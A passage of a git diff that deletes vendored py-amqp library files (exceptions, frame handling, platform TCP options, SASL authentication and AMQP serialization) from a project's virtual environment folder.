monotonic() - - now = monotonic() - AMQP_HEARTBEAT_LOGGER.debug( - 'heartbeat_tick : Prev sent/recv: %s/%s, ' - 'now - %s/%s, monotonic - %s, ' - 'last_heartbeat_sent - %s, heartbeat int. - %s ' - 'for connection %s', - self.prev_sent, self.prev_recv, - sent_now, recv_now, now, - self.last_heartbeat_sent, - self.heartbeat, - self._connection_id, - ) - - self.prev_sent, self.prev_recv = sent_now, recv_now - - # send a heartbeat if it's time to do so - if now > self.last_heartbeat_sent + self.heartbeat / rate: - AMQP_HEARTBEAT_LOGGER.debug( - 'heartbeat_tick: sending heartbeat for connection %s', - self._connection_id) - self.send_heartbeat() - self.last_heartbeat_sent = monotonic() - - # if we've missed two intervals' heartbeats, fail; this gives the - # server enough time to send heartbeats a little late - two_heartbeats = 2 * self.heartbeat - two_heartbeats_interval = self.last_heartbeat_received + two_heartbeats - heartbeats_missed = two_heartbeats_interval < monotonic() - if self.last_heartbeat_received and heartbeats_missed: - raise ConnectionForced('Too many heartbeats missed') - - @property - def sock(self): - return self.transport.sock - - @property - def server_capabilities(self): - return self.server_properties.get('capabilities') or {} diff --git a/venv/Lib/site-packages/amqp/exceptions.py b/venv/Lib/site-packages/amqp/exceptions.py deleted file mode 100644 index 0098dba9116a1efec7f118f1bfc5d20fe28a40b0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/exceptions.py +++ /dev/null @@ -1,288 +0,0 @@ -"""Exceptions used by amqp.""" -# Copyright (C) 2007-2008 Barry Pederson - -from struct import pack, unpack - -__all__ = ( - 'AMQPError', - 'ConnectionError', 'ChannelError', - 'RecoverableConnectionError', 'IrrecoverableConnectionError', - 'RecoverableChannelError', 'IrrecoverableChannelError', - 'ConsumerCancelled', 'ContentTooLarge', 'NoConsumers', - 'ConnectionForced', 'InvalidPath', 'AccessRefused', 'NotFound', - 'ResourceLocked', 'PreconditionFailed', 'FrameError', 'FrameSyntaxError', - 'InvalidCommand', 'ChannelNotOpen', 'UnexpectedFrame', 'ResourceError', - 'NotAllowed', 'AMQPNotImplementedError', 'InternalError', - 'MessageNacked', - 'AMQPDeprecationWarning', -) - - -class AMQPDeprecationWarning(UserWarning): - """Warning for deprecated things.""" - - -class MessageNacked(Exception): - """Message was nacked by broker.""" - - -class AMQPError(Exception): - """Base class for all AMQP exceptions.""" - - code = 0 - - def __init__(self, reply_text=None, method_sig=None, - method_name=None, reply_code=None): - self.message = reply_text - self.reply_code = reply_code or self.code - self.reply_text = reply_text - self.method_sig = method_sig - self.method_name = method_name or '' - if method_sig and not self.method_name: - self.method_name = METHOD_NAME_MAP.get(method_sig, '') - Exception.__init__(self, reply_code, - reply_text, method_sig, self.method_name) - - def __str__(self): - if self.method: - return '{0.method}: ({0.reply_code}) {0.reply_text}'.format(self) - return self.reply_text or '<{}: unknown error>'.format( - type(self).__name__ - ) - - @property - def method(self): - return self.method_name or self.method_sig - - -class ConnectionError(AMQPError): - """AMQP Connection Error.""" - - -class ChannelError(AMQPError): - """AMQP Channel Error.""" - - -class RecoverableChannelError(ChannelError): - """Exception class for recoverable channel errors.""" - - -class IrrecoverableChannelError(ChannelError): - """Exception class for irrecoverable channel errors.""" - - -class RecoverableConnectionError(ConnectionError): - """Exception class for recoverable connection errors.""" - - -class IrrecoverableConnectionError(ConnectionError): - """Exception class for irrecoverable connection errors.""" - - -class Blocked(RecoverableConnectionError): - """AMQP Connection Blocked Predicate.""" - - -class ConsumerCancelled(RecoverableConnectionError): - """AMQP Consumer Cancelled Predicate.""" - - -class ContentTooLarge(RecoverableChannelError): - """AMQP Content Too Large Error.""" - - code = 311 - - -class NoConsumers(RecoverableChannelError): - """AMQP No Consumers Error.""" - - code = 313 - - -class ConnectionForced(RecoverableConnectionError): - """AMQP Connection Forced Error.""" - - code = 320 - - -class InvalidPath(IrrecoverableConnectionError): - """AMQP Invalid Path Error.""" - - code = 402 - - -class AccessRefused(IrrecoverableChannelError): - """AMQP Access Refused Error.""" - - code = 403 - - -class NotFound(IrrecoverableChannelError): - """AMQP Not Found Error.""" - - code = 404 - - -class ResourceLocked(RecoverableChannelError): - """AMQP Resource Locked Error.""" - - code = 405 - - -class PreconditionFailed(IrrecoverableChannelError): - """AMQP Precondition Failed Error.""" - - code = 406 - - -class FrameError(IrrecoverableConnectionError): - """AMQP Frame Error.""" - - code = 501 - - -class FrameSyntaxError(IrrecoverableConnectionError): - """AMQP Frame Syntax Error.""" - - code = 502 - - -class InvalidCommand(IrrecoverableConnectionError): - """AMQP Invalid Command Error.""" - - code = 503 - - -class ChannelNotOpen(IrrecoverableConnectionError): - """AMQP Channel Not Open Error.""" - - code = 504 - - -class UnexpectedFrame(IrrecoverableConnectionError): - """AMQP Unexpected Frame.""" - - code = 505 - - -class ResourceError(RecoverableConnectionError): - """AMQP Resource Error.""" - - code = 506 - - -class NotAllowed(IrrecoverableConnectionError): - """AMQP Not Allowed Error.""" - - code = 530 - - -class AMQPNotImplementedError(IrrecoverableConnectionError): - """AMQP Not Implemented Error.""" - - code = 540 - - -class InternalError(IrrecoverableConnectionError): - """AMQP Internal Error.""" - - code = 541 - - -ERROR_MAP = { - 311: ContentTooLarge, - 313: NoConsumers, - 320: ConnectionForced, - 402: InvalidPath, - 403: AccessRefused, - 404: NotFound, - 405: ResourceLocked, - 406: PreconditionFailed, - 501: FrameError, - 502: FrameSyntaxError, - 503: InvalidCommand, - 504: ChannelNotOpen, - 505: UnexpectedFrame, - 506: ResourceError, - 530: NotAllowed, - 540: AMQPNotImplementedError, - 541: InternalError, -} - - -def error_for_code(code, text, method, default): - try: - return ERROR_MAP[code](text, method, reply_code=code) - except KeyError: - return default(text, method, reply_code=code) - - -METHOD_NAME_MAP = { - (10, 10): 'Connection.start', - (10, 11): 'Connection.start_ok', - (10, 20): 'Connection.secure', - (10, 21): 'Connection.secure_ok', - (10, 30): 'Connection.tune', - (10, 31): 'Connection.tune_ok', - (10, 40): 'Connection.open', - (10, 41): 'Connection.open_ok', - (10, 50): 'Connection.close', - (10, 51): 'Connection.close_ok', - (20, 10): 'Channel.open', - (20, 11): 'Channel.open_ok', - (20, 20): 'Channel.flow', - (20, 21): 'Channel.flow_ok', - (20, 40): 'Channel.close', - (20, 41): 'Channel.close_ok', - (30, 10): 'Access.request', - (30, 11): 'Access.request_ok', - (40, 10): 'Exchange.declare', - (40, 11): 'Exchange.declare_ok', - (40, 20): 'Exchange.delete', - (40, 21): 'Exchange.delete_ok', - (40, 30): 'Exchange.bind', - (40, 31): 'Exchange.bind_ok', - (40, 40): 'Exchange.unbind', - (40, 41): 'Exchange.unbind_ok', - (50, 10): 'Queue.declare', - (50, 11): 'Queue.declare_ok', - (50, 20): 'Queue.bind', - (50, 21): 'Queue.bind_ok', - (50, 30): 'Queue.purge', - (50, 31): 'Queue.purge_ok', - (50, 40): 'Queue.delete', - (50, 41): 'Queue.delete_ok', - (50, 50): 'Queue.unbind', - (50, 51): 'Queue.unbind_ok', - (60, 10): 'Basic.qos', - (60, 11): 'Basic.qos_ok', - (60, 20): 'Basic.consume', - (60, 21): 'Basic.consume_ok', - (60, 30): 'Basic.cancel', - (60, 31): 'Basic.cancel_ok', - (60, 40): 'Basic.publish', - (60, 50): 'Basic.return', - (60, 60): 'Basic.deliver', - (60, 70): 'Basic.get', - (60, 71): 'Basic.get_ok', - (60, 72): 'Basic.get_empty', - (60, 80): 'Basic.ack', - (60, 90): 'Basic.reject', - (60, 100): 'Basic.recover_async', - (60, 110): 'Basic.recover', - (60, 111): 'Basic.recover_ok', - (60, 120): 'Basic.nack', - (90, 10): 'Tx.select', - (90, 11): 'Tx.select_ok', - (90, 20): 'Tx.commit', - (90, 21): 'Tx.commit_ok', - (90, 30): 'Tx.rollback', - (90, 31): 'Tx.rollback_ok', - (85, 10): 'Confirm.select', - (85, 11): 'Confirm.select_ok', -} - - -for _method_id, _method_name in list(METHOD_NAME_MAP.items()): - METHOD_NAME_MAP[unpack('>I', pack('>HH', *_method_id))[0]] = \ - _method_name diff --git a/venv/Lib/site-packages/amqp/method_framing.py b/venv/Lib/site-packages/amqp/method_framing.py deleted file mode 100644 index 6c49833f888b570325b9c1b8bfe1d13ca3d85061..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/method_framing.py +++ /dev/null @@ -1,189 +0,0 @@ -"""Convert between frames and higher-level AMQP methods.""" -# Copyright (C) 2007-2008 Barry Pederson - -from collections import defaultdict -from struct import pack, pack_into, unpack_from - -from . import spec -from .basic_message import Message -from .exceptions import UnexpectedFrame -from .utils import str_to_bytes - -__all__ = ('frame_handler', 'frame_writer') - -#: Set of methods that require both a content frame and a body frame. -_CONTENT_METHODS = frozenset([ - spec.Basic.Return, - spec.Basic.Deliver, - spec.Basic.GetOk, -]) - - -#: Number of bytes reserved for protocol in a content frame. -#: We use this to calculate when a frame exceeeds the max frame size, -#: and if it does not the message will fit into the preallocated buffer. -FRAME_OVERHEAD = 40 - - -def frame_handler(connection, callback, - unpack_from=unpack_from, content_methods=_CONTENT_METHODS): - """Create closure that reads frames.""" - expected_types = defaultdict(lambda: 1) - partial_messages = {} - - def on_frame(frame): - frame_type, channel, buf = frame - connection.bytes_recv += 1 - if frame_type not in (expected_types[channel], 8): - raise UnexpectedFrame( - 'Received frame {} while expecting type: {}'.format( - frame_type, expected_types[channel]), - ) - elif frame_type == 1: - method_sig = unpack_from('>HH', buf, 0) - - if method_sig in content_methods: - # Save what we've got so far and wait for the content-header - partial_messages[channel] = Message( - frame_method=method_sig, frame_args=buf, - ) - expected_types[channel] = 2 - return False - - callback(channel, method_sig, buf, None) - - elif frame_type == 2: - msg = partial_messages[channel] - msg.inbound_header(buf) - - if not msg.ready: - # wait for the content-body - expected_types[channel] = 3 - return False - - # bodyless message, we're done - expected_types[channel] = 1 - partial_messages.pop(channel, None) - callback(channel, msg.frame_method, msg.frame_args, msg) - - elif frame_type == 3: - msg = partial_messages[channel] - msg.inbound_body(buf) - if not msg.ready: - # wait for the rest of the content-body - return False - expected_types[channel] = 1 - partial_messages.pop(channel, None) - callback(channel, msg.frame_method, msg.frame_args, msg) - elif frame_type == 8: - # bytes_recv already updated - return False - return True - - return on_frame - - -class Buffer: - def __init__(self, buf): - self.buf = buf - - @property - def buf(self): - return self._buf - - @buf.setter - def buf(self, buf): - self._buf = buf - # Using a memoryview allows slicing without copying underlying data. - # Slicing this is much faster than slicing the bytearray directly. - # More details: https://stackoverflow.com/a/34257357 - self.view = memoryview(buf) - - -def frame_writer(connection, transport, - pack=pack, pack_into=pack_into, range=range, len=len, - bytes=bytes, str_to_bytes=str_to_bytes, text_t=str): - """Create closure that writes frames.""" - write = transport.write - - buffer_store = Buffer(bytearray(connection.frame_max - 8)) - - def write_frame(type_, channel, method_sig, args, content): - chunk_size = connection.frame_max - 8 - offset = 0 - properties = None - args = str_to_bytes(args) - if content: - body = content.body - if isinstance(body, str): - encoding = content.properties.setdefault( - 'content_encoding', 'utf-8') - body = body.encode(encoding) - properties = content._serialize_properties() - bodylen = len(body) - properties_len = len(properties) or 0 - framelen = len(args) + properties_len + bodylen + FRAME_OVERHEAD - bigbody = framelen > chunk_size - else: - body, bodylen, bigbody = None, 0, 0 - - if bigbody: - # ## SLOW: string copy and write for every frame - frame = (b''.join([pack('>HH', *method_sig), args]) - if type_ == 1 else b'') # encode method frame - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - type_, channel, framelen, frame, 0xce)) - if body: - frame = b''.join([ - pack('>HHQ', method_sig[0], 0, len(body)), - properties, - ]) - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - 2, channel, framelen, frame, 0xce)) - - for i in range(0, bodylen, chunk_size): - frame = body[i:i + chunk_size] - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - 3, channel, framelen, - frame, 0xce)) - - else: - # frame_max can be updated via connection._on_tune. If - # it became larger, then we need to resize the buffer - # to prevent overflow. - if chunk_size > len(buffer_store.buf): - buffer_store.buf = bytearray(chunk_size) - buf = buffer_store.buf - - # ## FAST: pack into buffer and single write - frame = (b''.join([pack('>HH', *method_sig), args]) - if type_ == 1 else b'') - framelen = len(frame) - pack_into('>BHI%dsB' % framelen, buf, offset, - type_, channel, framelen, frame, 0xce) - offset += 8 + framelen - if body is not None: - frame = b''.join([ - pack('>HHQ', method_sig[0], 0, len(body)), - properties, - ]) - framelen = len(frame) - - pack_into('>BHI%dsB' % framelen, buf, offset, - 2, channel, framelen, frame, 0xce) - offset += 8 + framelen - - bodylen = len(body) - if bodylen > 0: - framelen = bodylen - pack_into('>BHI%dsB' % framelen, buf, offset, - 3, channel, framelen, body, 0xce) - offset += 8 + framelen - - write(buffer_store.view[:offset]) - - connection.bytes_sent += 1 - return write_frame diff --git a/venv/Lib/site-packages/amqp/platform.py b/venv/Lib/site-packages/amqp/platform.py deleted file mode 100644 index 6f6c6f3d048d10bab5bb93c02f65757af31b818d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/platform.py +++ /dev/null @@ -1,79 +0,0 @@ -"""Platform compatibility.""" - -import platform -import re -import sys -# Jython does not have this attribute -import typing - -try: - from socket import SOL_TCP -except ImportError: # pragma: no cover - from socket import IPPROTO_TCP as SOL_TCP # noqa - - -RE_NUM = re.compile(r'(\d+).+') - - -def _linux_version_to_tuple(s: str) -> typing.Tuple[int, int, int]: - return tuple(map(_versionatom, s.split('.')[:3])) - - -def _versionatom(s: str) -> int: - if s.isdigit(): - return int(s) - match = RE_NUM.match(s) - return int(match.groups()[0]) if match else 0 - - -# available socket options for TCP level -KNOWN_TCP_OPTS = { - 'TCP_CORK', 'TCP_DEFER_ACCEPT', 'TCP_KEEPCNT', - 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', 'TCP_LINGER2', - 'TCP_MAXSEG', 'TCP_NODELAY', 'TCP_QUICKACK', - 'TCP_SYNCNT', 'TCP_USER_TIMEOUT', 'TCP_WINDOW_CLAMP', -} - -LINUX_VERSION = None -if sys.platform.startswith('linux'): - LINUX_VERSION = _linux_version_to_tuple(platform.release()) - if LINUX_VERSION < (2, 6, 37): - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - - # Windows Subsystem for Linux is an edge-case: the Python socket library - # returns most TCP_* enums, but they aren't actually supported - if platform.release().endswith("Microsoft"): - KNOWN_TCP_OPTS = {'TCP_NODELAY', 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', - 'TCP_KEEPCNT'} - -elif sys.platform.startswith('darwin'): - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -elif 'bsd' in sys.platform: - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -# According to MSDN Windows platforms support getsockopt(TCP_MAXSSEG) but not -# setsockopt(TCP_MAXSEG) on IPPROTO_TCP sockets. -elif sys.platform.startswith('win'): - KNOWN_TCP_OPTS = {'TCP_NODELAY'} - -elif sys.platform.startswith('cygwin'): - KNOWN_TCP_OPTS = {'TCP_NODELAY'} - - # illumos does not allow to set the TCP_MAXSEG socket option, - # even if the Oracle documentation says otherwise. - # TCP_USER_TIMEOUT does not exist on Solaris 11.4 -elif sys.platform.startswith('sunos'): - KNOWN_TCP_OPTS.remove('TCP_MAXSEG') - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -# aix does not allow to set the TCP_MAXSEG -# or the TCP_USER_TIMEOUT socket options. -elif sys.platform.startswith('aix'): - KNOWN_TCP_OPTS.remove('TCP_MAXSEG') - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') -__all__ = ( - 'LINUX_VERSION', - 'SOL_TCP', - 'KNOWN_TCP_OPTS', -) diff --git a/venv/Lib/site-packages/amqp/protocol.py b/venv/Lib/site-packages/amqp/protocol.py deleted file mode 100644 index b58d5c96f8e4cb3ec941da4f4caae29c03ec8a91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/protocol.py +++ /dev/null @@ -1,12 +0,0 @@ -"""Protocol data.""" - -from collections import namedtuple - -queue_declare_ok_t = namedtuple( - 'queue_declare_ok_t', ('queue', 'message_count', 'consumer_count'), -) - -basic_return_t = namedtuple( - 'basic_return_t', - ('reply_code', 'reply_text', 'exchange', 'routing_key', 'message'), -) diff --git a/venv/Lib/site-packages/amqp/sasl.py b/venv/Lib/site-packages/amqp/sasl.py deleted file mode 100644 index 407ccb8e27322430e8e178da98d584198976204d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/sasl.py +++ /dev/null @@ -1,191 +0,0 @@ -"""SASL mechanisms for AMQP authentication.""" - -import socket -import warnings -from io import BytesIO - -from amqp.serialization import _write_table - - -class SASL: - """The base class for all amqp SASL authentication mechanisms. - - You should sub-class this if you're implementing your own authentication. - """ - - @property - def mechanism(self): - """Return a bytes containing the SASL mechanism name.""" - raise NotImplementedError - - def start(self, connection): - """Return the first response to a SASL challenge as a bytes object.""" - raise NotImplementedError - - -class PLAIN(SASL): - """PLAIN SASL authentication mechanism. - - See https://tools.ietf.org/html/rfc4616 for details - """ - - mechanism = b'PLAIN' - - def __init__(self, username, password): - self.username, self.password = username, password - - __slots__ = ( - "username", - "password", - ) - - def start(self, connection): - if self.username is None or self.password is None: - return NotImplemented - login_response = BytesIO() - login_response.write(b'\0') - login_response.write(self.username.encode('utf-8')) - login_response.write(b'\0') - login_response.write(self.password.encode('utf-8')) - return login_response.getvalue() - - -class AMQPLAIN(SASL): - """AMQPLAIN SASL authentication mechanism. - - This is a non-standard mechanism used by AMQP servers. - """ - - mechanism = b'AMQPLAIN' - - def __init__(self, username, password): - self.username, self.password = username, password - - __slots__ = ( - "username", - "password", - ) - - def start(self, connection): - if self.username is None or self.password is None: - return NotImplemented - login_response = BytesIO() - _write_table({b'LOGIN': self.username, b'PASSWORD': self.password}, - login_response.write, []) - # Skip the length at the beginning - return login_response.getvalue()[4:] - - -def _get_gssapi_mechanism(): - try: - import gssapi - import gssapi.raw.misc # Fail if the old python-gssapi is installed - except ImportError: - class FakeGSSAPI(SASL): - """A no-op SASL mechanism for when gssapi isn't available.""" - - mechanism = None - - def __init__(self, client_name=None, service=b'amqp', - rdns=False, fail_soft=False): - if not fail_soft: - raise NotImplementedError( - "You need to install the `gssapi` module for GSSAPI " - "SASL support") - - def start(self): # pragma: no cover - return NotImplemented - return FakeGSSAPI - else: - class GSSAPI(SASL): - """GSSAPI SASL authentication mechanism. - - See https://tools.ietf.org/html/rfc4752 for details - """ - - mechanism = b'GSSAPI' - - def __init__(self, client_name=None, service=b'amqp', - rdns=False, fail_soft=False): - if client_name and not isinstance(client_name, bytes): - client_name = client_name.encode('ascii') - self.client_name = client_name - self.fail_soft = fail_soft - self.service = service - self.rdns = rdns - - __slots__ = ( - "client_name", - "fail_soft", - "service", - "rdns" - ) - - def get_hostname(self, connection): - sock = connection.transport.sock - if self.rdns and sock.family in (socket.AF_INET, - socket.AF_INET6): - peer = sock.getpeername() - hostname, _, _ = socket.gethostbyaddr(peer[0]) - else: - hostname = connection.transport.host - if not isinstance(hostname, bytes): - hostname = hostname.encode('ascii') - return hostname - - def start(self, connection): - try: - if self.client_name: - creds = gssapi.Credentials( - name=gssapi.Name(self.client_name)) - else: - creds = None - hostname = self.get_hostname(connection) - name = gssapi.Name(b'@'.join([self.service, hostname]), - gssapi.NameType.hostbased_service) - context = gssapi.SecurityContext(name=name, creds=creds) - return context.step(None) - except gssapi.raw.misc.GSSError: - if self.fail_soft: - return NotImplemented - else: - raise - return GSSAPI - - -GSSAPI = _get_gssapi_mechanism() - - -class EXTERNAL(SASL): - """EXTERNAL SASL mechanism. - - Enables external authentication, i.e. not handled through this protocol. - Only passes 'EXTERNAL' as authentication mechanism, but no further - authentication data. - """ - - mechanism = b'EXTERNAL' - - def start(self, connection): - return b'' - - -class RAW(SASL): - """A generic custom SASL mechanism. - - This mechanism takes a mechanism name and response to send to the server, - so can be used for simple custom authentication schemes. - """ - - mechanism = None - - def __init__(self, mechanism, response): - assert isinstance(mechanism, bytes) - assert isinstance(response, bytes) - self.mechanism, self.response = mechanism, response - warnings.warn("Passing login_method and login_response to Connection " - "is deprecated. Please implement a SASL subclass " - "instead.", DeprecationWarning) - - def start(self, connection): - return self.response diff --git a/venv/Lib/site-packages/amqp/serialization.py b/venv/Lib/site-packages/amqp/serialization.py deleted file mode 100644 index 1f2f8e2dcfbe4968cca5556e5aa48e797407e5d4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/serialization.py +++ /dev/null @@ -1,582 +0,0 @@ -"""Convert between bytestreams and higher-level AMQP types. - -2007-11-05 Barry Pederson - -""" -# Copyright (C) 2007 Barry Pederson - -import calendar -from datetime import datetime -from decimal import Decimal -from io import BytesIO -from struct import pack, unpack_from - -from .exceptions import FrameSyntaxError -from .spec import Basic -from .utils import bytes_to_str as pstr_t -from .utils import str_to_bytes - -ILLEGAL_TABLE_TYPE = """\ - Table type {0!r} not handled by amqp. -""" - -ILLEGAL_TABLE_TYPE_WITH_KEY = """\ -Table type {0!r} for key {1!r} not handled by amqp. [value: {2!r}] -""" - -ILLEGAL_TABLE_TYPE_WITH_VALUE = """\ - Table type {0!r} not handled by amqp. [value: {1!r}] -""" - - -def _read_item(buf, offset): - ftype = chr(buf[offset]) - offset += 1 - - # 'S': long string - if ftype == 'S': - slen, = unpack_from('>I', buf, offset) - offset += 4 - try: - val = pstr_t(buf[offset:offset + slen]) - except UnicodeDecodeError: - val = buf[offset:offset + slen] - - offset += slen - # 's': short string - elif ftype == 's': - slen, = unpack_from('>B', buf, offset) - offset += 1 - val = pstr_t(buf[offset:offset + slen]) - offset += slen - # 'x': Bytes Array - elif ftype == 'x': - blen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + blen] - offset += blen - # 'b': short-short int - elif ftype == 'b': - val, = unpack_from('>B', buf, offset) - offset += 1 - # 'B': short-short unsigned int - elif ftype == 'B': - val, = unpack_from('>b', buf, offset) - offset += 1 - # 'U': short int - elif ftype == 'U': - val, = unpack_from('>h', buf, offset) - offset += 2 - # 'u': short unsigned int - elif ftype == 'u': - val, = unpack_from('>H', buf, offset) - offset += 2 - # 'I': long int - elif ftype == 'I': - val, = unpack_from('>i', buf, offset) - offset += 4 - # 'i': long unsigned int - elif ftype == 'i': - val, = unpack_from('>I', buf, offset) - offset += 4 - # 'L': long long int - elif ftype == 'L': - val, = unpack_from('>q', buf, offset) - offset += 8 - # 'l': long long unsigned int - elif ftype == 'l': - val, = unpack_from('>Q', buf, offset) - offset += 8 - # 'f': float - elif ftype == 'f': - val, = unpack_from('>f', buf, offset) - offset += 4 - # 'd': double - elif ftype == 'd': - val, = unpack_from('>d', buf, offset) - offset += 8 - # 'D': decimal - elif ftype == 'D': - d, = unpack_from('>B', buf, offset) - offset += 1 - n, = unpack_from('>i', buf, offset) - offset += 4 - val = Decimal(n) / Decimal(10 ** d) - # 'F': table - elif ftype == 'F': - tlen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + tlen - val = {} - while offset < limit: - keylen, = unpack_from('>B', buf, offset) - offset += 1 - key = pstr_t(buf[offset:offset + keylen]) - offset += keylen - val[key], offset = _read_item(buf, offset) - # 'A': array - elif ftype == 'A': - alen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + alen - val = [] - while offset < limit: - v, offset = _read_item(buf, offset) - val.append(v) - # 't' (bool) - elif ftype == 't': - val, = unpack_from('>B', buf, offset) - val = bool(val) - offset += 1 - # 'T': timestamp - elif ftype == 'T': - val, = unpack_from('>Q', buf, offset) - offset += 8 - val = datetime.utcfromtimestamp(val) - # 'V': void - elif ftype == 'V': - val = None - else: - raise FrameSyntaxError( - 'Unknown value in table: {!r} ({!r})'.format( - ftype, type(ftype))) - return val, offset - - -def loads(format, buf, offset): - """Deserialize amqp format. - - bit = b - octet = o - short = B - long = l - long long = L - float = f - shortstr = s - longstr = S - table = F - array = A - timestamp = T - """ - bitcount = bits = 0 - - values = [] - append = values.append - format = pstr_t(format) - - for p in format: - if p == 'b': - if not bitcount: - bits = ord(buf[offset:offset + 1]) - offset += 1 - bitcount = 8 - val = (bits & 1) == 1 - bits >>= 1 - bitcount -= 1 - elif p == 'o': - bitcount = bits = 0 - val, = unpack_from('>B', buf, offset) - offset += 1 - elif p == 'B': - bitcount = bits = 0 - val, = unpack_from('>H', buf, offset) - offset += 2 - elif p == 'l': - bitcount = bits = 0 - val, = unpack_from('>I', buf, offset) - offset += 4 - elif p == 'L': - bitcount = bits = 0 - val, = unpack_from('>Q', buf, offset) - offset += 8 - elif p == 'f': - bitcount = bits = 0 - val, = unpack_from('>f', buf, offset) - offset += 4 - elif p == 's': - bitcount = bits = 0 - slen, = unpack_from('B', buf, offset) - offset += 1 - val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') - offset += slen - elif p == 'S': - bitcount = bits = 0 - slen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') - offset += slen - elif p == 'x': - blen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + blen] - offset += blen - elif p == 'F': - bitcount = bits = 0 - tlen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + tlen - val = {} - while offset < limit: - keylen, = unpack_from('>B', buf, offset) - offset += 1 - key = pstr_t(buf[offset:offset + keylen]) - offset += keylen - val[key], offset = _read_item(buf, offset) - elif p == 'A': - bitcount = bits = 0 - alen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + alen - val = [] - while offset < limit: - aval, offset = _read_item(buf, offset) - val.append(aval) - elif p == 'T': - bitcount = bits = 0 - val, = unpack_from('>Q', buf, offset) - offset += 8 - val = datetime.utcfromtimestamp(val) - else: - raise FrameSyntaxError(ILLEGAL_TABLE_TYPE.format(p)) - append(val) - return values, offset - - -def _flushbits(bits, write): - if bits: - write(pack('B' * len(bits), *bits)) - bits[:] = [] - return 0 - - -def dumps(format, values): - """Serialize AMQP arguments. - - Notes: - bit = b - octet = o - short = B - long = l - long long = L - shortstr = s - longstr = S - byte array = x - table = F - array = A - """ - bitcount = 0 - bits = [] - out = BytesIO() - write = out.write - - format = pstr_t(format) - - for i, val in enumerate(values): - p = format[i] - if p == 'b': - val = 1 if val else 0 - shift = bitcount % 8 - if shift == 0: - bits.append(0) - bits[-1] |= (val << shift) - bitcount += 1 - elif p == 'o': - bitcount = _flushbits(bits, write) - write(pack('B', val)) - elif p == 'B': - bitcount = _flushbits(bits, write) - write(pack('>H', int(val))) - elif p == 'l': - bitcount = _flushbits(bits, write) - write(pack('>I', val)) - elif p == 'L': - bitcount = _flushbits(bits, write) - write(pack('>Q', val)) - elif p == 'f': - bitcount = _flushbits(bits, write) - write(pack('>f', val)) - elif p == 's': - val = val or '' - bitcount = _flushbits(bits, write) - if isinstance(val, str): - val = val.encode('utf-8', 'surrogatepass') - write(pack('B', len(val))) - write(val) - elif p == 'S' or p == 'x': - val = val or '' - bitcount = _flushbits(bits, write) - if isinstance(val, str): - val = val.encode('utf-8', 'surrogatepass') - write(pack('>I', len(val))) - write(val) - elif p == 'F': - bitcount = _flushbits(bits, write) - _write_table(val or {}, write, bits) - elif p == 'A': - bitcount = _flushbits(bits, write) - _write_array(val or [], write, bits) - elif p == 'T': - write(pack('>Q', int(calendar.timegm(val.utctimetuple())))) - _flushbits(bits, write) - - return out.getvalue() - - -def _write_table(d, write, bits): - out = BytesIO() - twrite = out.write - for k, v in d.items(): - if isinstance(k, str): - k = k.encode('utf-8', 'surrogatepass') - twrite(pack('B', len(k))) - twrite(k) - try: - _write_item(v, twrite, bits) - except ValueError: - raise FrameSyntaxError( - ILLEGAL_TABLE_TYPE_WITH_KEY.format(type(v), k, v)) - table_data = out.getvalue() - write(pack('>I', len(table_data))) - write(table_data) - - -def _write_array(list_, write, bits): - out = BytesIO() - awrite = out.write - for v in list_: - try: - _write_item(v, awrite, bits) - except ValueError: - raise FrameSyntaxError( - ILLEGAL_TABLE_TYPE_WITH_VALUE.format(type(v), v)) - array_data = out.getvalue() - write(pack('>I', len(array_data))) - write(array_data) - - -def _write_item(v, write, bits): - if isinstance(v, (str, bytes)): - if isinstance(v, str): - v = v.encode('utf-8', 'surrogatepass') - write(pack('>cI', b'S', len(v))) - write(v) - elif isinstance(v, bool): - write(pack('>cB', b't', int(v))) - elif isinstance(v, float): - write(pack('>cd', b'd', v)) - elif isinstance(v, int): - if v > 2147483647 or v < -2147483647: - write(pack('>cq', b'L', v)) - else: - write(pack('>ci', b'I', v)) - elif isinstance(v, Decimal): - sign, digits, exponent = v.as_tuple() - v = 0 - for d in digits: - v = (v * 10) + d - if sign: - v = -v - write(pack('>cBi', b'D', -exponent, v)) - elif isinstance(v, datetime): - write( - pack('>cQ', b'T', int(calendar.timegm(v.utctimetuple())))) - elif isinstance(v, dict): - write(b'F') - _write_table(v, write, bits) - elif isinstance(v, (list, tuple)): - write(b'A') - _write_array(v, write, bits) - elif v is None: - write(b'V') - else: - raise ValueError() - - -def decode_properties_basic(buf, offset): - """Decode basic properties.""" - properties = {} - - flags, = unpack_from('>H', buf, offset) - offset += 2 - - if flags & 0x8000: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['content_type'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x4000: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['content_encoding'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x2000: - _f, offset = loads('F', buf, offset) - properties['application_headers'], = _f - if flags & 0x1000: - properties['delivery_mode'], = unpack_from('>B', buf, offset) - offset += 1 - if flags & 0x0800: - properties['priority'], = unpack_from('>B', buf, offset) - offset += 1 - if flags & 0x0400: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['correlation_id'] 